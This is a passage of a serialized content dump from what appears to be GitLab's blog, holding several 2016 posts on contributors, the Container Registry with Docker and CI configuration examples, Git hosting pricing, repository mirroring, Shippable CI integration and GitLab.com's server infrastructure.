disaster-prone mess. After, we've got it down to a couple minutes and can deploy with confidence.\"\n\n## Conclusion\n\nGitLab Community Edition is enabling Charge to meet their goal of simplifying data for mobile devices. \nGitLab is helping Charge to take on large telecommunications providers by offering a secure and consumer-friendly\npay-as-you-go model. Thanks to GitLab CE, Charge is experiencing an improved engineering workflow with dramatically faster \ndeployment time and adherence to strict industry security requirements.  \n\n## Tell us your story\n\nIs your team using Gitlab? We’d love to hear from you.\nEmail us at community@gitlab.com if you’re interested in sharing.\n",{"slug":38151,"featured":6,"template":678},"customer-story-charge-communications","content:en-us:blog:customer-story-charge-communications.yml","Customer Story Charge Communications","en-us/blog/customer-story-charge-communications.yml","en-us/blog/customer-story-charge-communications",{"_path":38157,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38158,"content":38164,"config":38168,"_id":38170,"_type":16,"title":38171,"_source":17,"_file":38172,"_stem":38173,"_extension":20},"/en-us/blog/1k-contributors",{"title":38159,"description":38160,"ogTitle":38159,"ogDescription":38160,"noIndex":6,"ogImage":38161,"ogUrl":38162,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38162,"schema":38163},"Celebrating 1000 Contributors","We are very excited to announce that we recently welcomed our 1,000th contributor!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684731/Blog/Hero%20Images/1K_contributors_cards.jpg","https://about.gitlab.com/blog/1k-contributors","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating 1000 Contributors\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-05-24\",\n      }",{"title":38159,"description":38160,"authors":38165,"heroImage":38161,"date":38166,"body":38167,"category":299},[711],"2016-05-24","\n\nWe are very excited to announce that we recently welcomed our 1,000th contributor!\nAnd, the list keeps growing. Since we released [the first open source version of GitLab in 2011](/company/history/#2011-start-of-gitlab)\nour community of contributors has been absolutely essential to growing and improving GitLab.\n\nIt’s no secret that the 1,000+ contributors have made GitLab what it is today. We have over\n100,000 organizations using our product. We have gone from a company with just eight\nemployees at the start of 2015, to a company with 80 employees. This past week, at the\nGitLab Summit in Austin, we wanted to take a second to recognize our contributors with a\nheartfelt and handwritten thank you!\n\n![](https://about.gitlab.com/images/blogimages/1k-contributors-images/1K_contributors_writing.jpg)\n\nAs a community we’ve developed and released features like GitLab Runner, which was an idea\nthat was proposed by our current GitLab team-member, Kamil. However, when Kamil\nproposed the idea he was not a GitLab employee, he was a\ncontributor. Our most recent example of the strength of our contributors comes from Matt\nOakes, who contributed a great new feature to the [GitLab 8.8 release](/releases/2016/05/22/gitlab-8-8-released/). Matt’s contribution\nnow makes it possible to suppress text file diffs by marking a file as non-diffable in your\n`.gitattributes` file. Matt and many contributors like him are proof that the open core\nmodel can work, when there’s a talented community and dedicated team working together.\n\nContributors, you are awesome! As a thank you, we will be sending you a letter and\na special sticker that we’ve designed just for our contributors. Our community means a lot to us\nand we hope that this shows a small token of our appreciation!\n\nIf you’re thinking about contributing, please do! Here’s where you can [find out more about contributing to GitLab](/community/contribute/).\nNo problem if you’re new to Ruby -- we welcome learners, and\nthere are multiple checks in place to help you improve your skills and to help us make sure\neverything’s up to scratch by the time it goes out.\n\nAnd because we are only successful by working together, we have to send a special thanks\nto Rémy Coutable who has been helping MRs over the finish line, by coaching authors and\nreviewing work, as well as making sure everything is [really actually done](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md#definition-of-done).\n\nMuch respect to all of our contributors and happy stickering,\n\nThe GitLab Team\n",{"slug":38169,"featured":6,"template":678},"1k-contributors","content:en-us:blog:1k-contributors.yml","1k Contributors","en-us/blog/1k-contributors.yml","en-us/blog/1k-contributors",{"_path":38175,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38176,"content":38181,"config":38185,"_id":38187,"_type":16,"title":38188,"_source":17,"_file":38189,"_stem":38190,"_extension":20},"/en-us/blog/gitlab-container-registry",{"title":38177,"description":38178,"ogTitle":38177,"ogDescription":38178,"noIndex":6,"ogImage":37693,"ogUrl":38179,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38179,"schema":38180},"Introducing GitLab Container Registry","Built on open source software, GitLab Container Registry isn't just a standalone registry; it's completely integrated with GitLab.","https://about.gitlab.com/blog/gitlab-container-registry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab Container Registry\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2016-05-23\",\n      }",{"title":38177,"description":38178,"authors":38182,"heroImage":37693,"date":38183,"body":38184,"category":734},[26026],"2016-05-23","\n\nYesterday [we released GitLab 8.8][8.8], super powering GitLab's built-in\ncontinuous integration. With it, you can build a pipeline in GitLab,\nvisualizing your builds, tests, deploys and any other stage of the life cycle of\nyour software. Today (and already in GitLab 8.8), we're releasing the next\nstep: GitLab Container Registry.\n\n## What is GitLab Container Registry?\n\nGitLab Container Registry is a secure and private registry for Docker images.\nBuilt on open source software,\nGitLab Container Registry isn't just a standalone registry;\nit's _completely_ integrated with GitLab.\n\nGitLab is all about having a single, integrated experience and our registry\nis no exception. You can now easily use your images for [GitLab CI](/topics/ci-cd/), create\nimages specific for tags or branches and much more.\n\nOur container registry is the first Docker registry that is\nfully integrated with Git repository management and comes out of the box with\nGitLab 8.8. So if you've upgraded, you already have it!\nThis means our integrated Container Registry requires no additional\ninstallation. It allows for easy upload and download of images\nfrom GitLab CI. And it's free.\n\nRead the [administration documentation](https://docs.gitlab.com/ee/administration/packages/container_registry.html) to learn how to enable it\non your GitLab instance. (This documentation covers everything from self-signed certificates to environment variables, garbage collect commands, various APIs, curl commands, setting rate limits, how to use an external registry, and more.)\n\n[8.8]: https://about.gitlab.com/releases/2016/05/22/gitlab-8-8-released/\n\n\u003C!-- more -->\n\n## Some Docker basics\n\nThe main component of a Docker-based workflow is an image, which contains\neverything needed to run an application. Images are often created automatically\nas part of continuous integration, so they are updated whenever code changes.\nWhen images are built to be shared between developers and machines, they need to\nbe stored somewhere, and that's where a container registry comes in.\n\nThe registry is the place to store (or host) and tag images for later use. Developers may\nwant to maintain their own private registry for private images, or for\nthrow-away images used only in testing. Using GitLab Container Registry means\nyou don't need to set up and administer yet another service, or use a public\nregistry.\n\n## Tight integration\n\nGitLab Container Registry is fully-integrated with GitLab making it easy for\ndevelopers to code, test, and deploy Docker container images using GitLab CI\nand other Docker-compatible tooling.\n\n- User authentication is from GitLab itself, so all the user and group\n  definitions are respected.\n- There's no need to create repositories in the registry; the project is already\n  defined in GitLab.\n- Projects have a new tab, **Container Registry**, which lists all images\n  related to the project.\n- Every project can have an image repository, but this can be turned off\n  per-project.\n- Developers can easily upload and download images from GitLab CI.\n- There's no need to download or install additional software.\n\n## How GitLab Container Registry can simplify your workflow\n\nGitLab Container Registry is seamless and secure.\nHere are some examples of how GitLab Container Registry can simplify your\ndevelopment and deployment workflows:\n\n- Easily build Docker images with the help of GitLab CI and store them in the\n  GitLab Container Registry.\n- Easily create images per branches, tags, or any other way suitable to your\n  workflow, and with little effort, store them on GitLab.\n- Use your own build images, stored in your registry to test your applications\n  against these images, allowing you to simplify the Docker-based workflow.\n- Let the team easily contribute to the images, using the same workflow they are\n  already accustomed to. With the help of GitLab CI you can automatically\n  rebuild images that inherit from yours, allowing you to easily deliver fixes\n  and new features to a base image used by your teams.\n- Have a full Continuous Deployment and Delivery workflow by pointing your\n  CaaS to use images directly from GitLab Container Registry. You'll be able to\n  perform automated deployments of your applications to the cloud\n  (Docker Cloud, Docker Swarm, Kubernetes and others) when you build and test\n  your images.\n\n## How to start using GitLab Container Registry\n\nFirst, ask your system administrator to enable GitLab Container Registry\nfollowing the [administration documentation][admin-docs].\n\nAfter that, you will be allowed to enable **Container Registry** for your project.\n\n![](https://about.gitlab.com/images/container-registry/project_feature.png)\n\nTo start using your brand new **Container Registry** you first have to login:\n\n```\ndocker login registry.example.com\n```\n\nThen you can simply build and push images to GitLab:\n\n```\ndocker build -t registry.example.com/group/project .\ndocker push registry.example.com/group/project\n```\n\nGitLab also offers simple Container Registry management. Go to your project and click **Container Registry**.\nThis view will show you all tags in your repository and will allow you to delete them and view details about each tag, such as when it was published and how much storage it consumes.\n\n![](https://about.gitlab.com/images/container-registry/container_registry.png)\n\n> Read more in the [GitLab Container Registry user guide][user-docs].\n\n## Use with GitLab CI\n\nYou can use GitLab's integrated CI solution to build, push, and deploy your\ncontainer images.\n\n> **Note:** This feature requires GitLab Runner 1.2.\n\n> **Note:**\nTo use Docker in Docker images you need to have [the `privileged` flag][privflag]\nset up in your Runner's configuration. This is **not** the case for the shared\nRunners on GitLab.com for now; we plan to enable this flag next week. For the\nmoment you can use your own Runners.\n\nHere's an example GitLab CI configuration file (`.gitlab-ci.yml`) which builds\nan image, runs tests, and if the tests are successful, tags the build and\nuploads the build to the container registry:\n\n```yaml\nbuild_image:\n  image: docker:git\n  services:\n  - docker:dind\n  script:\n    - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.example.com\n    - docker build -t registry.example.com/my-group/my-project .\n    - docker run registry.example.com/my-group/my-project /script/to/run/tests\n    - docker push registry.example.com/my-group/my-project:latest\n  only:\n    - master\n```\n\nHere's a more elaborate example that splits up the tasks into four stages,\nincluding two tests that run in parallel. The build is stored in the container\nregistry and used by subsequent stages, downloading the image automatically\nwhen needed. Changes to `master` also get tagged as `latest` and deployed using\nan application-specific deploy script:\n\n```yaml\nimage: docker:git\nservices:\n- docker:dind\n\nstages:\n- build\n- test\n- release\n- deploy\n\nvariables:\n  CONTAINER_TEST_IMAGE: registry.example.com/my-group/my-project:$CI_BUILD_REF_NAME\n  CONTAINER_RELEASE_IMAGE: registry.example.com/my-group/my-project:latest\n\nbefore_script:\n  - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.example.com\n\nbuild:\n  stage: build\n  script:\n    - docker build -t $CONTAINER_TEST_IMAGE .\n    - docker push $CONTAINER_TEST_IMAGE\n\ntest1:\n  stage: test\n  script:\n    - docker run $CONTAINER_TEST_IMAGE /script/to/run/tests\n\ntest2:\n  stage: test\n  script:\n    - docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test\n\nrelease-image:\n  stage: release\n  script:\n    - docker pull $CONTAINER_TEST_IMAGE\n    - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE\n    - docker push $CONTAINER_RELEASE_IMAGE\n  only:\n    - master\n\ndeploy:\n  stage: deploy\n  script:\n    - ./deploy.sh\n  only:\n    - master\n```\n\n## Summary\n\nGitLab Container Registry is the latest addition to GitLab's integrated set of\ntools for the software development lifecycle and comes with\n[GitLab 8.8 and up][8.8]. With GitLab Container Registry,\ntesting and deploying Docker containers has never been easier.\nGitLab Container Registry is available on-premises in GitLab CE and GitLab EE\nat no additional cost and installs in the same infrastructure as the rest of\nyour GitLab instance.\n\nContainer Registry is enabled on GitLab.com, the pricing is simple (it's completely free), and you can start using it right now!\n\n> **Note:**\nTo use Docker in Docker images you need to have [the `privileged` flag][privflag]\nset up in your Runner's configuration. This is **not** the case for the shared\nRunners on GitLab.com for now. We plan to enable this flag next week.\n\n[8.8]: /releases/2016/05/22/gitlab-8-8-released/\n[user-docs]: https://docs.gitlab.com/ee/user/packages/container_registry/\n[admin-docs]: http://docs.gitlab.com/ee/administration/container_registry.html\n[privflag]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/executors/docker.md#use-docker-in-docker-with-privileged-mode\n",{"slug":38186,"featured":6,"template":678},"gitlab-container-registry","content:en-us:blog:gitlab-container-registry.yml","Gitlab Container Registry","en-us/blog/gitlab-container-registry.yml","en-us/blog/gitlab-container-registry",{"_path":38192,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38193,"content":38199,"config":38203,"_id":38205,"_type":16,"title":38206,"_source":17,"_file":38207,"_stem":38208,"_extension":20},"/en-us/blog/git-repository-pricing",{"title":38194,"description":38195,"ogTitle":38194,"ogDescription":38195,"noIndex":6,"ogImage":38196,"ogUrl":38197,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38197,"schema":38198},"The future of SaaS hosted Git repository pricing","At GitLab, we think per-user pricing is the best pricing model because it is more predictable, less restrictive on code, and aligned with value the organization gets.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683732/Blog/Hero%20Images/stars.png","https://about.gitlab.com/blog/git-repository-pricing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The future of SaaS hosted Git repository pricing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-05-11\",\n      }",{"title":38194,"description":38195,"authors":38200,"heroImage":38196,"date":38201,"body":38202,"category":299},[3532],"2016-05-11","\nToday [GitHub announced pricing changes to all of their paid plans on GitHub.com](https://github.com/blog/2164-introducing-unlimited-private-repositories). With these\nchanges, paid plans on GitHub.com will now include unlimited private repositories. At GitLab,\nwe were not surprised to hear about these pricing changes. We believe they are inline with\nhow pricing will move in the future. At GitLab, we think per-user pricing is the best pricing\nmodel because it is more predictable, less restrictive on code, and aligned with value the\norganization gets.\n\n\u003C!-- more -->\n\n## Microservices\n\nThe rise of [microservices](/topics/microservices/), an approach to development in which you structure your software\ninto smaller individual service-oriented units. Each microservice then runs its own process\nand they communicate with each other through APIs. This software development approach is known\nto have four primary benefits: agility, efficiency, resiliency, and revenue. With such tangible\nbusiness benefits, it is no wonder why Google, Amazon, and Facebook have been using microservice\ndevelopment practices for over a decade. Matt Miller details the significance of microservices\nin his article, [‘Innovate or Die: The Rise of Microservices’](https://www.sequoiacap.com/article/build-us-microservices/) published in January 2016 on Sequoia\nCapital’s blog.\n\n## Unlimited repos is table stakes\n\nAs more and more developers, teams, and organizations seek out the advantages of microservices,\nthey’ll need more repositories to support this new code structure. Basically, the more microservices\nyou have the more repositories you’ll need. That is why it is not surprising that GitHub has announced\nfree private repositories. With their announcement today, now GitHub.com, Bitbucket.org, and GitLab.com all offer\nunlimited private repositories. It does not cost companies much more to host additional repositories for a given user.\nYou can think of hosting additional repositories like you think about your email. Once you have an\nemail account, you are usually not asked to pay more to store more. Unlimited repositories have become table stakes for a Git hosting SaaS service.\n\n## Pricing overview\n\nPrice for Git repository hosting per month in popular cloud solutions\n\n| \t   | GitHub.com old | GitHub.com new| Bitbucket.org | GitLab.com |\n| :--- | :---------: | :---------: | :-----------: | :--------: |\n| **Personal usage**\t| | | |\n| 1 private repo    | $7\t| $7\t| $0\t| $0\n| 100 private repos\t| $200\t| $7\t| $0\t| $0\n| **For organizations**\t| | | |\n| 5 collaborators  | depended on repos | $25 | $0 | $0\n| 10 collaborators | depended on repos | $90 | $10 | $0\n| 11 collaborators | depended on repos | $99 |$25\t| $0\n| 100 collaborators | depended on repos | $900 |$100\t| $0\n| Unlimited\tcollaborators | | N/A\t| $200 | $0\n\n## Unlimited is great\n\nIt’s awesome that repositories have become table stakes across the market.\nWe truly believe it will\nlead to better development practices since developers will no longer be constrained with physical\nstorage or with financial limitations. However, with more repositories, we assume developers will\nwrite more code and seek out more contributors to collaborate on your projects.\n\n## For some this is a price increase\n\nWhile the news of\nGitHub’s pricing is great if you have a lot of repos, it is not so helpful to people who have a lot\nof contributors. At GitLab, we strongly believe that\n“everyone can contribute.” This message is exemplified not only in how we build our own products but\nalso in how we price them. On GitLab.com, our free SaaS version, we offer unlimited private repositories,\nunlimited contributors, and unlimited CI runners, all for free.\n\nHere are some examples and quote's we've read about how these pricing changes will affect GitHub users.\n\n* For small teams, this announcement is a positive change. Their bill will most likely decrease, similar to [this person](https://news.ycombinator.com/item?id=11674148) who will see a 4X decline in their monthly bill.\n* If you are part of a larger team, your price will likely increase. In the case of [the Open edX non-profit](https://news.ycombinator.com/item?id=11674530), their price could potentially increase 10X due to the fact that they have a lot of contributors.\n* [This comment on HackerNews](https://news.ycombinator.com/item?id=11674507) sums it up best: \"there is an entire category of companies (agencies / software house) where the price is going up dramatically (5x, 10x or more). One example is Ruby on Rails core alumni Thomas Fuchs that will go [from $100 to $1296 per month](https://twitter.com/thomasfuchs/status/730415066399518720) because he has to pay for no longer active users.\n\n## Business models\n\nWhen it comes to SaaS hosted Git repository pricing models, it seems GitHub is pursuing more of a network\npricing model where users are asked to pay for 3rd party services. Atlassian is leveraging their\nexpansive product suite to get users to get additional paid services from them, like JIRA and Bamboo. At\nGitLab, we offer a free product with free services, for example [unlimited CI Runners](/blog/gitlab-partners-with-digitalocean-to-make-continuous-integration-faster-safer-and-more-affordable/).\nOur goal is to make our solution include everything you need to go [frictionless from idea to production](/direction/#scope) at a price where [everyone can contribute](/company/strategy/).\n\n## Why is GitLab.com free\n\nTypically, when we are out introducing GitLab at events, or even to friends, they ask, [how is\nit all free?](https://news.ycombinator.com/item?id=11673281). We currently have the following offerings:\n\n* GitLab.com: Free SaaS version featuring private repos, contributors, and CI runners (powered by Digital Ocean).\n* GitLab Community Edition: Free on-premises version featuring unlimited users and CI.\n* GitLab Enterprise Edition: $39/user/year offering an on-premises version with additional enterprise-specific features, security, and support.\n* GitHost.io: Paid depending on the server size you want us to host for you.\n\nWe detailed our thinking about [why GitLab will be free now and free forever](/pricing/) in [2015](https://gitlab.com/gitlab-com/www-gitlab-com/commit/e7e2faec2eca5d35629504b4435358615147fbec).\nOur goal has always been two-fold: to build an integrated solution that supports the full software\ndevelopment lifecycle and to make our products accessible so that everyone can contribute. Within our\nbusiness model, we make money through our on-premises solution. This is what allows us to offer\ncompletely free products. As more and more people see the benefit of a free solution that supports\ncoding, testing, and deployment, we are seeing more users on GitLab.com. Due to the rapid\ngrowth, GitLab.com's performance slowed down. We recognize this and we have been working really hard to [make GitLab.com faster](https://gitlab.com/gitlab-com/operations/issues/42). As you explore what solutions are best for you, your team, or your company, we hope\nthat you’ll consider us. As always, if you have any questions or comments feel free to ask them here or\non [our Twitter](https://twitter.com/gitlab).\n",{"slug":38204,"featured":6,"template":678},"git-repository-pricing","content:en-us:blog:git-repository-pricing.yml","Git Repository Pricing","en-us/blog/git-repository-pricing.yml","en-us/blog/git-repository-pricing",{"_path":38210,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38211,"content":38216,"config":38220,"_id":38222,"_type":16,"title":38223,"_source":17,"_file":38224,"_stem":38225,"_extension":20},"/en-us/blog/feature-highlight-push-to-remote-repository",{"title":38212,"description":38213,"ogTitle":38212,"ogDescription":38213,"noIndex":6,"ogImage":12013,"ogUrl":38214,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38214,"schema":38215},"Feature highlight: Push to a remote repository","In GitLab 8.7 we introduced the second part of the mirroring functionality: the ability to push changes to an external repository from GitLab.","https://about.gitlab.com/blog/feature-highlight-push-to-remote-repository","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature highlight: Push to a remote repository\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Nemytchenko\"}],\n        \"datePublished\": \"2016-05-10\",\n      }",{"title":38212,"description":38213,"authors":38217,"heroImage":12013,"date":38218,"body":38219,"category":8943},[19801],"2016-05-10","\n\nSince [GitLab Enterprise](/enterprise/) Edition 8.2 you could sync all changes from a remote repository to one on GitLab.\n\nIn GitLab 8.7 we introduced the second part of the mirroring functionality: the ability to push changes to an external repository from GitLab.\n\nThis means that now you can use GitLab as the main place for your development, and get all your changes pushed to another repository.\nThere are a number of reasons why it may be important to keep an existing repository in addition to your new GitLab repository:\n\n- You can be tied with company policy to keep using the legacy system\n- You want your existing git hosting service to keep playing the role of showcasing your project\n- You don't want to spend time reconfiguring all your existing integrations\n\nIn any of these cases \"Push to remote repository\" might be your savior.\n\n## Setting up\n\nIt can be configured in **Settings** → **Mirror Repository**:\n\n![Settings: Push to a remote repository](https://about.gitlab.com/images/blogimages/push-to-remote-repository/settings.png)\n\nIt will be pushed every hour. You can also trigger it manually right from the project page:\n\n![Trigger push to a remote repository](https://about.gitlab.com/images/blogimages/push-to-remote-repository/trigger.png)\n\n## Playing with mirroring functionality\n\nAs an experiment, I built a chain of 3 repositories: [Bitbucket](https://bitbucket.org/ivannemytchenko/sync) → [GitLab](https://gitlab.com/inem/sync) → [GitHub](https://github.com/inem/sync).\n\nEvery change from the Bitbucket repository goes to GitLab, triggers build there (since I checked \"Trigger builds for mirror updates\" checkbox). Then all the changes are pushed to the repository at GitHub.\n\n![Checkbox](https://about.gitlab.com/images/blogimages/push-to-remote-repository/checkbox.png)\n\nAs you can see, mirroring gives you an additional dimension of flexibility. You can use it to modify an existing workflow, or to build one from scratch.\n\n\"Push to remote repository\" is a feature of GitLab Enterprise Edition (EE), which means that you can use it on your own GitLab EE instance or for free at GitLab.com.\nGitLab.com is the free SaaS version of GitLab, running most of the features of GitLab EE.\n",{"slug":38221,"featured":6,"template":678},"feature-highlight-push-to-remote-repository","content:en-us:blog:feature-highlight-push-to-remote-repository.yml","Feature Highlight Push To Remote Repository","en-us/blog/feature-highlight-push-to-remote-repository.yml","en-us/blog/feature-highlight-push-to-remote-repository",{"_path":38227,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38228,"content":38234,"config":38238,"_id":38240,"_type":16,"title":38241,"_source":17,"_file":38242,"_stem":38243,"_extension":20},"/en-us/blog/getting-started-gitlab-and-shippable",{"title":38229,"description":38230,"ogTitle":38229,"ogDescription":38230,"noIndex":6,"ogImage":38231,"ogUrl":38232,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38232,"schema":38233},"Getting Started with GitLab and Shippable Continuous Integration"," To know more about how to set up Shippable CI with GitLab, read on.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672330/Blog/Hero%20Images/1-aye_aye_gitlab.png","https://about.gitlab.com/blog/getting-started-gitlab-and-shippable","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting Started with GitLab and Shippable Continuous Integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-05-05\",\n      }",{"title":38229,"description":38230,"authors":38235,"heroImage":38231,"date":38236,"body":38237,"category":734},[711],"2016-05-05","\n\n_This tutorial is a re-post of [Shippable's blog post](http://blog.shippable.com/getting-started-gitlab-with-shippable-ci)._\n\nGitLab is a fast-growing choice for enterprises managing their application code and team\ncollaboration both on-premises and in the cloud. Today we are excited to announce Shippable\nsupport for application delivery pipelines for GitLab developers.\n\nShippable now extends [GitLab](/)'s combination of Git-based source code repositories and enterprise \nfeatures such as authentication and security with CI/CD pipelines. Shippable connects with \nGitLab self-managed community and enterprise editions as well as their cloud offering so we \nwork the way you want to. \n\n\u003C!-- more -->\n\n> \"We're excited that Shippable now integrates with GitLab. With Shippable anyone using GitLab \ncan now easily deploy their code, independent of their stack and cloud environment.\" says Job van der Voort \nVP of Product at GitLab. \"Like GitLab, Shippable works with established technologies, as well as with \ncontainers, making this an excellent solution for organizations of any size to bring their code from \ntheir repositories in GitLab to production.\"\n\nOur new Shippable integration for GitLab supports running builds for your push commits, merge requests \nand even show the build status in GitLab, so you can enjoy the power of Shippable within GitLab. To know \nmore about how to set up Shippable CI with GitLab, read on.\n\n---\n\n## Setting up GitLab account integration\n\nTo start off, [sign into Shippable](https://app.shippable.com/). (GitLab.com identity support coming soon.)\nOnce signed into Shippable:\n\n* Click on the gear icon for 'Account Settings' in the top right navigation bar\n* Click on the 'Integrations' tab\n* Click on 'Add Integration' \n\n![Add integration in account settings](https://about.gitlab.com/images/blogimages/shippable-blog-images/2-Add_Integration_in_Account_settings.png)\n\n* Select the drop down under the 'Master Integration' & select 'GitLab'\n* For the 'Integration Name', use a distinctive name that's easy to recall\n* For 'url', enter the API end-point of your GitLab instance, this is usually of the format [https://your-gitlab.com/api/v3](https://your-gitlab.com/api/v3). If you're using GitLab.com, this will be [https://gitlab.com/api/v3](https://gitlab.com/api/v3). \n* For 'token', navigate to your GitLab Profile Settings in your GitLab instance and copy the Private Token provided under Account.\n\n![Account integration](https://about.gitlab.com/images/blogimages/shippable-blog-images/3-acc_int.png)\n\n* Click save. \n\nNext, let's sync the Account to ensure the permissions are up to date. To do this, go to the 'Accounts' \ntab & click 'Sync'.\n\n![Account sync](https://about.gitlab.com/images/blogimages/shippable-blog-images/4-accountSync.png)\n\nOnce synced, your GitLab subscription should be available from the 'Subscriptions' drop down in \nthe dashboard page. You can now proceed to enable any repository (project) and configure your\n[Continuous Integration](http://docs.shippable.com/ci_configure/).\n\n## Build triggers \n\nShippable automatically triggers build runs for all GitLab code commits or merge requests, indepenedent \nof the user who initiated it. Once the build triggers, you can view the [build status and build details](http://docs.shippable.com/ci_builds/). In addition, Shippable integrates with GitLab build status API and displays the build status directly in GitLab as shown below.\n\n![Account sync](https://about.gitlab.com/images/blogimages/shippable-blog-images/5-example.png)\n\n## Get a build going \n\nTo get a build going for a project, [add the Shippable config](http://docs.shippable.com/ci_configure/) to it and then proceed to enable the project \nfrom your subscription in Shippable. Any build failures are notified instantly via email, and in Gitlab's \nbuild status. Slack, and Hipchat, IRC notifications can also be [configured](http://docs.shippable.com/int_notifications/).\n\nYou can even proceed to configure [Continuous Delivery](http://docs.shippable.com/pipelines_overview/) using Shippable Pipelines and Docker. With Continuous Integration\nensuring that the features are working fine, and Continuous Delivery automatically deploying the successful builds, \nyou can ensure a smooth, fast, bug-less transition from development to production.\n\n---\n\nAt GitLab, we are always excited to integrate with products that our customers use. Thanks to the Shippable team \nfor writing this blog post and for working with us.\n",{"slug":38239,"featured":6,"template":678},"getting-started-gitlab-and-shippable","content:en-us:blog:getting-started-gitlab-and-shippable.yml","Getting Started Gitlab And Shippable","en-us/blog/getting-started-gitlab-and-shippable.yml","en-us/blog/getting-started-gitlab-and-shippable",{"_path":38245,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38246,"content":38252,"config":38256,"_id":38258,"_type":16,"title":38259,"_source":17,"_file":38260,"_stem":38261,"_extension":20},"/en-us/blog/look-into-gitlab-infrastructure",{"title":38247,"description":38248,"ogTitle":38247,"ogDescription":38248,"noIndex":6,"ogImage":38249,"ogUrl":38250,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38250,"schema":38251},"An inside look at the infrastructure of GitLab.com","In this post, you'll find out just how many servers we use. You'll gain some perspective on what those servers are up to.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684519/Blog/Hero%20Images/goal.jpg","https://about.gitlab.com/blog/look-into-gitlab-infrastructure","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An inside look at the infrastructure of GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tomasz Maczukin\"}],\n        \"datePublished\": \"2016-04-29\",\n      }",{"title":38247,"description":38248,"authors":38253,"heroImage":38249,"date":38254,"body":38255,"category":734},[17573],"2016-04-29","\n\nA number of people have asked about the infrastructure of GitLab.com. Our passionate\nand curious Twitter followers inquired specifically about how many servers we use for\nGitLab.com. Given the number of questions we've gotten on this topic, we wanted to go\nahead and offer an inside look at our GitLab.com infrastructure. In this post,\nyou'll find out just how many servers we use. You'll gain some perspective on what\nthose servers are up to.\n\n\u003C!-- more -->\n\n## Baseline\n\nFor running GitLab.com as an application we have:\n\n- 5 HAProxy load balancers that are handling GitLab.com HTTP, HTTPS, and SSH\n- 2 HAProxy load balancers that are handling \"[alternative SSH][altssh]\" (altssh.GitLab.com) so they do redirection from 443 to 22\n- 2 HAProxy load balancers that are handling \u003Chttps://pages.gitlab.io> HTTP and HTTPS\n- 20 workers running GitLab EE application stack (Nginx, Workhorse, Unicorn + Rails, Redis + Sidekiq)\n- 2 NFS servers for the storage\n- 2 Redis servers\n- 2 PostgreSQL servers\n- 3 Elasticsearch servers\n\nThose are servers that we manage directly. With that, the server count is at 38.\n\n## Next\n\nWe also use 6 of Azure's \"Availability Sets\": 3 for load balancers, 1 for Redis HA, 1 for\nPostgreSQL HA, and 1 for Elasticsearch HA. Each of these Availability Sets has its own \"internal\"\nload balancer that is managing the HA traffic. If we count them as a GitLab.com servers, then\nwe need to add 6 servers (now, the count is 44).\n\nWe also have 3 servers for GitLab Runners in [autoscale mode][scale]. Two of them are managing autoscaling\nof runners for GitLab CE/EE projects (so they are used only by GitLab and I will not count them).\nBut the third is used to manage [autoscaling for Shared Runners][shared] at GitLab.com. So +1 for\nthe \"Shared Runners manager.\"\n\nWe also have some servers that are specific for GitLab as a company (Runners for building\nOmnibus packages, etc.) but I wouldn't count that as a part of GitLab.com.\n\nAnd at the end, we have 45 servers that are used to make GitLab.com a usable application for our\nusers.\n\n## But wait, there's more\n\nAh! Don't forget about autoscaled Docker machines! Each user's builds are running on Docker hosts\ncreated \"on demand\" by the autoscaling mode of the Runner. Last week, I looked at a diagram of the\nmachine utilization and it showed that we had:\n\n- minimum 12 machines running at once,\n- maximum 150 machines running at once,\n- an average of 54 machines running at once.\n\nBecause Shared Runners can be used by all GitLab.com users then I would count them as well!\n\n## Final count\n\nSo, the answer is, GitLab.com is currently running on 45 servers. However, if we also\ncount the build hosts for Shared Runners, then GitLab.com is using 60 to 200 servers!\n\nWe appreciate the question and the curiosity. As always, keep the questions coming!\nYou can also visit [our Operations issue tracker](https://gitlab.com/gitlab-com/operations/issues) for a live look at what\nthe team is working on.\n\n[altssh]: /blog/gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port/\n[shared]: /blog/shared-runners/\n[scale]: /releases/2016/03/29/gitlab-runner-1-1-released/\n",{"slug":38257,"featured":6,"template":678},"look-into-gitlab-infrastructure","content:en-us:blog:look-into-gitlab-infrastructure.yml","Look Into Gitlab 